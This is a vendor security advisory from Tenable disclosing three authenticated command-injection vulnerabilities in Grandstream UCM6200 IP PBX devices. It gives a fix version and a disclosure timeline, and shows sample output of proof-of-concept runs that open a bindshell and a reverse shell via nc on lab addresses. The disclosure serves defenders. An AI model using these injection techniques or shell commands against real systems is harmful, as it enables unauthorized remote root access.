Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Grandstream UCM6200 Series Multiple Authenticated RCE

Critical

Synopsis

While examining a Grandstream UCM6202 IP PBX, Tenable discovered multiple authenticated remote OS command injection vulnerabilities.

CVE-2020-5757: "New" HTTPS API Command Injection

The UCM6200 Series "New" HTTPS API is vulnerable to authenticated command injection via a recapi POST request. Specifically, the filedir parameter allows new line characters which allow an attacker to bypass the existing command injection protections in order to execute commands.

Tenable developed a proof of concept for this issue. You can find it on our GitHub. The proof of concept creates a bindshell on port 1270 on the PBX. Note that two terminals are required to use the exploit; one to throw the exploit and one to connect to the bindshell. Sample output follows.

[email protected]:~$ python3 new_recapi_injection.py --rhost 192.168.2.1 --username lolwat --password LabPass1%
[+] Sending exploit. Creating bindshell at 192.168.2.1:1270

[email protected]:~$ nc 192.168.2.1 1270
uname -a
Linux UCM6202 3.0.35 #1 SMP PREEMPT Mon Apr 8 14:51:59 CST 2019 armv7l GNU/Linux

CVE-2020-5758: "Old" HTTPS API Command Injection

The UCM6200 Series "Old" HTTPS API, which is not enabled by default, is vulnerable to authenticated command injection via a recapi GET request. Specifically, the system does not filter shell metacharacters from the filedir parameter. Note that this is a different vulnerability from CVE-2020-5757.

Tenable developed a proof of concept for this issue. You can find it on our GitHub. The proof of concept spawns a reverse shell. Note that two terminals are required to use the exploit; one to throw the exploit and one to accept the reverse shell. Sample output follows.

[email protected]:~$ python3 old_cdrapi_injection.py --rhost 192.168.2.1 --lhost 192.168.2.107 --lport 1271

[email protected]:~$ nc -lvp 1271
Listening on [] (family 2, port)
Connection from _gateway 53876 received!
uname -a
Linux UCM6202 3.0.35 #1 SMP PREEMPT Mon Apr 8 14:51:59 CST 2019 armv7l GNU/Linux

CVE-2020-5759: SSH Command Injection

The UCM6200 SSH shell's config functionality is vulnerable to command injection when using the unset keyword. An authenticated remote attacker can abuse this to execute arbitrary OS commands. In the following proof of concept, the attacker gets a root shell.

Solution

Upgrade to 1.0.20.28 beta or newer.

Disclosure Timeline

04/06/2020 - Disclosed via helpdesk.
04/06/2020 - Grandstream asks a clarifying question.
04/07/2020 - Tenable asks for some debugging information.
04/07/2020 - Grandstream sends a video.
04/08/2020 - Tenable provides a suggestion.
04/10/2020 - Grandstream acknowledges reproducing the final issue.
04/15/2020 - Grandstream asks Tenable to test a firmware.
04/16/2020 - Tenable asks which issues the firmware addresses.
04/18/2020 - Grandstream indicates the CDR issues.
04/22/2020 - Grandstream pings Tenable.
04/24/2020 - Tenable confirms the firmware addresses the issues.
04/25/2020 - Grandstream thanks Tenable.
06/22/2020 - Tenable pings Grandstream.
06/24/2020 - Grandstream notes all three issues have been addressed and will be in the 1.0.20.28 beta release.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 30 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

$2,275

Buy Now

Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year. Full details here.

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 30 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 30 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Learn More about Industrial Security

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.

Try for Free Contact Sales

Try Tenable Lumin

FREE FOR 30 DAYS

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Request a demo of Tenable.ot

Get the Operational Technology Security You Need.
Reduce the Risk You Don’t.